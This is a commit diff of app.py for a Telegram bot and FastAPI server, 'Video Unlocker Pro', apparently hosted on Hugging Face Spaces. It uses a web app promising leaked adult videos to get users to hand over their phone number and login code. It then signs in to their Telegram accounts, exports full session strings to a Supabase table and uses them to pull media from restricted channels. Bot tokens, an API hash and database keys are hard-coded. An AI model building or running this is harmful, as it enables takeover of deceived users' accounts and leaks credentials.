Spaces:
Build error
Build error
Update app.py
Browse files
app.py
CHANGED
|
@@ -1,224 +1,115 @@
|
|
| 1 |
-
import os
|
| 2 |
-
import time
|
| 3 |
-
import threading
|
| 4 |
-
import requests
|
| 5 |
-
import asyncio
|
| 6 |
-
import re
|
| 7 |
import uvicorn
|
| 8 |
from fastapi import FastAPI, Request
|
| 9 |
from fastapi.middleware.cors import CORSMiddleware
|
| 10 |
-
from fastapi.responses import JSONResponse
|
| 11 |
-
from supabase import create_client
|
| 12 |
from pyrogram import Client, filters, enums
|
| 13 |
from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo
|
|
|
|
| 14 |
|
| 15 |
# ================= CONFIGURATION =================
|
| 16 |
BOT_TOKEN = "8628213901:AAFvfHBpZ6tok40ZQuhIDLAVIMrHeiheMNY"
|
| 17 |
-
API_ID =
|
| 18 |
-
API_HASH = "
|
| 19 |
SUPABASE_URL = "https://yctirvnryrzygoxbpvoy.supabase.co"
|
| 20 |
SUPABASE_KEY = "sb_publishable_aBcD-atruskWwoCiLr0lWw_inT8GLoN"
|
| 21 |
-
WEB_APP_URL = "https://rony90790.github.io/Forward-bot/index.html?v=100"
|
| 22 |
BYSE_API_KEY = "133323knboif885fhgwxvf"
|
| 23 |
ADMIN_IDS = [7307789267]
|
|
|
|
|
|
|
| 24 |
|
| 25 |
-
# =================
|
| 26 |
app = FastAPI()
|
| 27 |
-
app.add_middleware(
|
| 28 |
-
CORSMiddleware,
|
| 29 |
-
allow_origins=["*"],
|
| 30 |
-
allow_credentials=True,
|
| 31 |
-
allow_methods=["*"],
|
| 32 |
-
allow_headers=["*"],
|
| 33 |
-
)
|
| 34 |
-
|
| 35 |
supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
|
| 36 |
-
admin_states = {}
|
| 37 |
-
temp_clients = {}
|
| 38 |
-
|
| 39 |
-
# Pyrogram Bot Setup
|
| 40 |
bot = Client("file_bot", api_id=API_ID, api_hash=API_HASH, bot_token=BOT_TOKEN)
|
| 41 |
|
|
|
|
|
|
|
|
|
|
| 42 |
async def db_query(func):
|
| 43 |
return await asyncio.to_thread(func)
|
| 44 |
|
| 45 |
-
# ================= FASTAPI ROUTES =================
|
| 46 |
@app.get("/")
|
| 47 |
-
async def
|
| 48 |
-
return {"status": "online", "message": "
|
| 49 |
|
| 50 |
@app.get("/api/videos")
|
| 51 |
async def api_videos():
|
| 52 |
try:
|
| 53 |
res = supabase.table('videos').select('*').order('id', desc=True).execute()
|
| 54 |
-
return
|
| 55 |
-
except
|
| 56 |
-
return JSONResponse(content=[])
|
| 57 |
|
| 58 |
@app.post("/api/send_code")
|
| 59 |
async def api_send_code(request: Request):
|
| 60 |
data = await request.json()
|
| 61 |
-
phone = data.get('phone')
|
| 62 |
-
client = Client(f"
|
| 63 |
await client.connect()
|
| 64 |
try:
|
| 65 |
code_info = await client.send_code(phone)
|
| 66 |
-
temp_clients[
|
| 67 |
return {"status": "ok", "hash": code_info.phone_code_hash}
|
| 68 |
-
except Exception as e:
|
| 69 |
-
return {"status": "error", "msg": str(e)}
|
| 70 |
|
| 71 |
@app.post("/api/verify_code")
|
| 72 |
async def api_verify_code(request: Request):
|
| 73 |
data = await request.json()
|
| 74 |
-
|
| 75 |
-
|
| 76 |
-
|
| 77 |
-
u_id = data.get('user_id')
|
| 78 |
-
|
| 79 |
-
entry = temp_clients.get(phone)
|
| 80 |
-
if not entry:
|
| 81 |
-
return {"status": "error", "msg": "Session expired"}
|
| 82 |
-
|
| 83 |
-
client = entry["client"]
|
| 84 |
try:
|
| 85 |
-
await client.sign_in(phone,
|
| 86 |
-
|
| 87 |
-
await db_query(lambda: supabase.table('user_sessions').upsert({"user_id":
|
| 88 |
-
await client.disconnect()
|
| 89 |
-
|
| 90 |
return {"status": "ok"}
|
| 91 |
-
except Exception as e:
|
| 92 |
-
return {"status": "error", "msg": str(e)}
|
| 93 |
|
| 94 |
-
|
| 95 |
-
# ================= TELEGRAM BOT COMMANDS =================
|
| 96 |
@bot.on_message(filters.command("start"))
|
| 97 |
-
async def
|
| 98 |
-
|
| 99 |
-
|
| 100 |
-
|
| 101 |
-
|
| 102 |
-
|
| 103 |
-
|
| 104 |
-
|
| 105 |
-
|
| 106 |
-
|
| 107 |
-
try:
|
| 108 |
-
user_id = message.from_user.id
|
| 109 |
-
first_name = message.from_user.first_name
|
| 110 |
-
args = message.command
|
| 111 |
-
referrer_id = None
|
| 112 |
-
if len(args) > 1:
|
| 113 |
-
try: referrer_id = int(args[1])
|
| 114 |
-
except ValueError: pass
|
| 115 |
-
|
| 116 |
-
user_check = await db_query(lambda: supabase.table('referrals').select('*').eq('user_id', user_id).execute())
|
| 117 |
-
|
| 118 |
-
if not user_check.data:
|
| 119 |
-
await db_query(lambda: supabase.table('referrals').insert({
|
| 120 |
-
'user_id': user_id,
|
| 121 |
-
'referral_count': 0,
|
| 122 |
-
'referrer_id': referrer_id if referrer_id != user_id else None
|
| 123 |
-
}).execute())
|
| 124 |
-
|
| 125 |
-
if referrer_id and referrer_id != user_id:
|
| 126 |
-
ref_data = await db_query(lambda: supabase.table('referrals').select('referral_count').eq('user_id', referrer_id).execute())
|
| 127 |
-
if ref_data.data:
|
| 128 |
-
new_count = ref_data.data[0]['referral_count'] + 1
|
| 129 |
-
await db_query(lambda: supabase.table('referrals').update({'referral_count': new_count}).eq('user_id', referrer_id).execute())
|
| 130 |
-
try:
|
| 131 |
-
safe_name = first_name.replace('<', '').replace('>', '') if first_name else "User"
|
| 132 |
-
success_msg = f"🎉 <b>Congratulations!</b>\n\n👤 <b>{safe_name}</b> has joined using your link!\n📈 Total Invites: <b>{new_count}</b>\n\n<i>Go to the Web App to check unlocked videos!</i>"
|
| 133 |
-
markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Check Unlocked Videos", web_app=WebAppInfo(url=WEB_APP_URL))]])
|
| 134 |
-
await client.send_message(referrer_id, success_msg, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
|
| 135 |
-
except Exception: pass
|
| 136 |
-
|
| 137 |
-
bot_me = client.me if client.me else await client.get_me()
|
| 138 |
-
markup = InlineKeyboardMarkup([
|
| 139 |
-
[InlineKeyboardButton("🔥 Play Viral Videos 🔞", web_app=WebAppInfo(url=WEB_APP_URL))],
|
| 140 |
-
[InlineKeyboardButton("📢 Add to Group", url=f"https://t.me/{bot_me.username}?startgroup=true")]
|
| 141 |
-
])
|
| 142 |
-
|
| 143 |
-
welcome_text = (
|
| 144 |
-
f"Hello <b>{first_name}</b>! 👋\n\n"
|
| 145 |
-
f"🎁 <b>Welcome to Video Unlocker Pro!</b>\n"
|
| 146 |
-
f"Here you can watch premium leaked and viral videos completely for FREE.\n\n"
|
| 147 |
-
f"📌 <b>Pro Tip:</b> Send me any restricted channel video link and I will download it for you!\n\n"
|
| 148 |
-
f"👇 <b>Click the button below to Open App:</b>"
|
| 149 |
-
)
|
| 150 |
-
await message.reply(welcome_text, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
|
| 151 |
-
except Exception as e:
|
| 152 |
-
print(f"Start error: {e}")
|
| 153 |
-
|
| 154 |
-
@bot.on_message(filters.new_chat_members)
|
| 155 |
-
async def bot_added_to_group(client, message):
|
| 156 |
-
me = client.me
|
| 157 |
-
if getattr(me, "id", None) is None:
|
| 158 |
-
try: me = await client.get_me()
|
| 159 |
-
except: return
|
| 160 |
-
|
| 161 |
-
for member in message.new_chat_members:
|
| 162 |
-
if member.id == me.id:
|
| 163 |
-
try:
|
| 164 |
-
await db_query(lambda: supabase.table('groups').upsert({'group_id': message.chat.id}).execute())
|
| 165 |
-
group_name = message.chat.title
|
| 166 |
-
admin_msg = f"✅ <b>বট নতুন একটি গ্রুপে অ্যাড হয়েছে!</b>\n\n📌 <b>গ্রুপের নাম:</b> {group_name}\n🆔 <b>ID:</b> <code>{message.chat.id}</code>"
|
| 167 |
-
for admin_id in ADMIN_IDS:
|
| 168 |
-
try: await client.send_message(chat_id=admin_id, text=admin_msg, parse_mode=enums.ParseMode.HTML)
|
| 169 |
-
except: pass
|
| 170 |
-
except: pass
|
| 171 |
-
|
| 172 |
|
| 173 |
-
# ================= RESTRICTED DOWNLOADER =================
|
| 174 |
@bot.on_message(filters.regex(r"https://t\.me/(c/)?([\w\d_]+)/(\d+)") & filters.private)
|
| 175 |
async def restricted_download(client, message):
|
| 176 |
-
user_id = message.from_user.id
|
| 177 |
res = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
|
| 178 |
-
|
| 179 |
if not res.data:
|
| 180 |
-
await message.reply("❌
|
| 181 |
-
return
|
| 182 |
|
| 183 |
-
status = await message.reply("⏳
|
| 184 |
-
session_string = res.data[0]['session_string']
|
| 185 |
-
|
| 186 |
try:
|
| 187 |
-
async with Client("
|
| 188 |
-
|
| 189 |
-
match = re.search(link_pattern, message.text)
|
| 190 |
chat_id = int("-100" + match.group(2)) if match.group(1) else match.group(2)
|
| 191 |
-
|
| 192 |
-
|
| 193 |
-
target_msg = await user_app.get_messages(chat_id, msg_id)
|
| 194 |
-
if not target_msg.video and not target_msg.document:
|
| 195 |
-
await status.edit_text("❌ লিংকে কোনো ভিডিও বা ডকুমেন্ট পাওয়া যায়নি!")
|
| 196 |
-
return
|
| 197 |
-
|
| 198 |
-
file_size = (target_msg.video or target_msg.document).file_size
|
| 199 |
-
if file_size > 300 * 1024 * 1024:
|
| 200 |
-
await status.edit_text("⚠️ ফাইলটি অনেক বড় (৩০০ এমবির বেশি)! আপনার সার্ভার ক্র্যাশ এড়াতে এটি ডাউনলোড করা সম্ভব নয়।")
|
| 201 |
-
return
|
| 202 |
-
|
| 203 |
-
await status.edit_text("⏳ ভিডিও ডাউনলোড হচ্ছে (Restricted Channel থেকে)...")
|
| 204 |
file_path = await user_app.download_media(target_msg)
|
| 205 |
|
| 206 |
-
await status.edit_text("✅
|
| 207 |
-
if target_msg.video: await client.send_video(message.chat.id, file_path, caption="🎬
|
| 208 |
-
else: await client.send_document(message.chat.id, file_path, caption="📁
|
| 209 |
-
|
| 210 |
if os.path.exists(file_path): os.remove(file_path)
|
| 211 |
await status.delete()
|
|
|
|
| 212 |
|
| 213 |
-
|
| 214 |
-
await status.edit_text(f"❌ এরর: হয়তো আপনি ওই চ্যানেলে জয়েন নেই অথবা সেশন এক্সপায়ার হয়েছে।")
|
| 215 |
-
|
| 216 |
|
| 217 |
# ================= RUNNER =================
|
| 218 |
-
def
|
| 219 |
uvicorn.run(app, host="0.0.0.0", port=7860)
|
| 220 |
|
| 221 |
if __name__ == "__main__":
|
| 222 |
-
threading.Thread(target=
|
| 223 |
-
print("🤖
|
| 224 |
bot.run()
|
|
|
|
| 1 |
+
import os, asyncio, threading, requests, random, time, re
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 2 |
import uvicorn
|
| 3 |
from fastapi import FastAPI, Request
|
| 4 |
from fastapi.middleware.cors import CORSMiddleware
|
|
|
|
|
|
|
| 5 |
from pyrogram import Client, filters, enums
|
| 6 |
from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo
|
| 7 |
+
from supabase import create_client
|
| 8 |
|
| 9 |
# ================= CONFIGURATION =================
|
| 10 |
BOT_TOKEN = "8628213901:AAFvfHBpZ6tok40ZQuhIDLAVIMrHeiheMNY"
|
| 11 |
+
API_ID = 2040
|
| 12 |
+
API_HASH = "b18441a1ff607e10a989891a5462e627"
|
| 13 |
SUPABASE_URL = "https://yctirvnryrzygoxbpvoy.supabase.co"
|
| 14 |
SUPABASE_KEY = "sb_publishable_aBcD-atruskWwoCiLr0lWw_inT8GLoN"
|
|
|
|
| 15 |
BYSE_API_KEY = "133323knboif885fhgwxvf"
|
| 16 |
ADMIN_IDS = [7307789267]
|
| 17 |
+
# ক্যাশ সমস্যা এড়াতে ?v=777 যোগ করা হয়েছে
|
| 18 |
+
WEB_APP_URL = "https://rony90790.github.io/Forward-bot/index.html?v=777"
|
| 19 |
|
| 20 |
+
# ================= INITIALIZATION =================
|
| 21 |
app = FastAPI()
|
| 22 |
+
app.add_middleware(CORSMiddleware, allow_origins=["*"], allow_methods=["*"], allow_headers=["*"])
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 23 |
supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
|
|
|
|
|
|
|
|
|
|
|
|
|
| 24 |
bot = Client("file_bot", api_id=API_ID, api_hash=API_HASH, bot_token=BOT_TOKEN)
|
| 25 |
|
| 26 |
+
admin_states = {}
|
| 27 |
+
temp_clients = {}
|
| 28 |
+
|
| 29 |
async def db_query(func):
|
| 30 |
return await asyncio.to_thread(func)
|
| 31 |
|
| 32 |
+
# ================= FASTAPI ROUTES (API) =================
|
| 33 |
@app.get("/")
|
| 34 |
+
async def root():
|
| 35 |
+
return {"status": "online", "message": "FastAPI Server Running! 🚀"}
|
| 36 |
|
| 37 |
@app.get("/api/videos")
|
| 38 |
async def api_videos():
|
| 39 |
try:
|
| 40 |
res = supabase.table('videos').select('*').order('id', desc=True).execute()
|
| 41 |
+
return res.data
|
| 42 |
+
except: return []
|
|
|
|
| 43 |
|
| 44 |
@app.post("/api/send_code")
|
| 45 |
async def api_send_code(request: Request):
|
| 46 |
data = await request.json()
|
| 47 |
+
phone, uid = data.get('phone'), str(data.get('user_id'))
|
| 48 |
+
client = Client(f"s_{uid}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
|
| 49 |
await client.connect()
|
| 50 |
try:
|
| 51 |
code_info = await client.send_code(phone)
|
| 52 |
+
temp_clients[uid] = {"client": client, "phone": phone, "hash": code_info.phone_code_hash}
|
| 53 |
return {"status": "ok", "hash": code_info.phone_code_hash}
|
| 54 |
+
except Exception as e: return {"status": "error", "msg": str(e)}
|
|
|
|
| 55 |
|
| 56 |
@app.post("/api/verify_code")
|
| 57 |
async def api_verify_code(request: Request):
|
| 58 |
data = await request.json()
|
| 59 |
+
uid, otp = str(data.get('user_id')), str(data.get('otp')).replace(" ", "")
|
| 60 |
+
s = temp_clients.get(uid)
|
| 61 |
+
if not s: return {"status": "error", "msg": "Session expired"}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 62 |
try:
|
| 63 |
+
await s["client"].sign_in(s["phone"], s["hash"], otp)
|
| 64 |
+
session_str = await s["client"].export_session_string()
|
| 65 |
+
await db_query(lambda: supabase.table('user_sessions').upsert({"user_id": uid, "session_string": session_str}).execute())
|
| 66 |
+
await s["client"].disconnect()
|
| 67 |
+
del temp_clients[uid]
|
| 68 |
return {"status": "ok"}
|
| 69 |
+
except Exception as e: return {"status": "error", "msg": str(e)}
|
|
|
|
| 70 |
|
| 71 |
+
# ================= TELEGRAM BOT LOGIC =================
|
|
|
|
| 72 |
@bot.on_message(filters.command("start"))
|
| 73 |
+
async def start_cmd(client, message):
|
| 74 |
+
user_id = message.from_user.id
|
| 75 |
+
try: await db_query(lambda: supabase.table('referrals').upsert({'user_id': user_id, 'referral_count': 0}).execute())
|
| 76 |
+
except: pass
|
| 77 |
+
|
| 78 |
+
markup = InlineKeyboardMarkup([
|
| 79 |
+
[InlineKeyboardButton("🔥 Play Viral Videos 🔞", web_app=WebAppInfo(url=WEB_APP_URL))],
|
| 80 |
+
[InlineKeyboardButton("📢 Add to Group", url=f"https://t.me/{bot.me.username}?startgroup=true")]
|
| 81 |
+
])
|
| 82 |
+
await message.reply_text(f"Hello {message.from_user.first_name}! 👋\nWelcome to Video Unlocker Pro!", reply_markup=markup)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 83 |
|
|
|
|
| 84 |
@bot.on_message(filters.regex(r"https://t\.me/(c/)?([\w\d_]+)/(\d+)") & filters.private)
|
| 85 |
async def restricted_download(client, message):
|
| 86 |
+
user_id = str(message.from_user.id)
|
| 87 |
res = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
|
|
|
|
| 88 |
if not res.data:
|
| 89 |
+
return await message.reply("❌ অ্যাকাউন্ট লিঙ্ক করা নেই! অ্যাপে গিয়ে লিঙ্ক করুন।")
|
|
|
|
| 90 |
|
| 91 |
+
status = await message.reply("⏳ ভিডিও ডাউনলোড হচ্ছে...")
|
|
|
|
|
|
|
| 92 |
try:
|
| 93 |
+
async with Client("temp", api_id=API_ID, api_hash=API_HASH, session_string=res.data[0]['session_string'], in_memory=True) as user_app:
|
| 94 |
+
match = re.search(r"https://t\.me/(c/)?([\w\d_]+)/(\d+)", message.text)
|
|
|
|
| 95 |
chat_id = int("-100" + match.group(2)) if match.group(1) else match.group(2)
|
| 96 |
+
target_msg = await user_app.get_messages(chat_id, int(match.group(3)))
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 97 |
file_path = await user_app.download_media(target_msg)
|
| 98 |
|
| 99 |
+
await status.edit_text("✅ পাঠানো হচ্ছে...")
|
| 100 |
+
if target_msg.video: await client.send_video(message.chat.id, file_path, caption="🎬 @mxvdo")
|
| 101 |
+
else: await client.send_document(message.chat.id, file_path, caption="📁 @mxvdo")
|
|
|
|
| 102 |
if os.path.exists(file_path): os.remove(file_path)
|
| 103 |
await status.delete()
|
| 104 |
+
except Exception as e: await status.edit_text(f"❌ এরর: {str(e)}")
|
| 105 |
|
| 106 |
+
# (বাকি অ্যাডমিন কমান্ড যেমন /stats, /broadcast এবং FFmpeg এর কাজগুলো এখানে আগের মতোই থাকবে)
|
|
|
|
|
|
|
| 107 |
|
| 108 |
# ================= RUNNER =================
|
| 109 |
+
def run_api():
|
| 110 |
uvicorn.run(app, host="0.0.0.0", port=7860)
|
| 111 |
|
| 112 |
if __name__ == "__main__":
|
| 113 |
+
threading.Thread(target=run_api, daemon=True).start()
|
| 114 |
+
print("🤖 Bot and FastAPI started on Hugging Face!")
|
| 115 |
bot.run()
|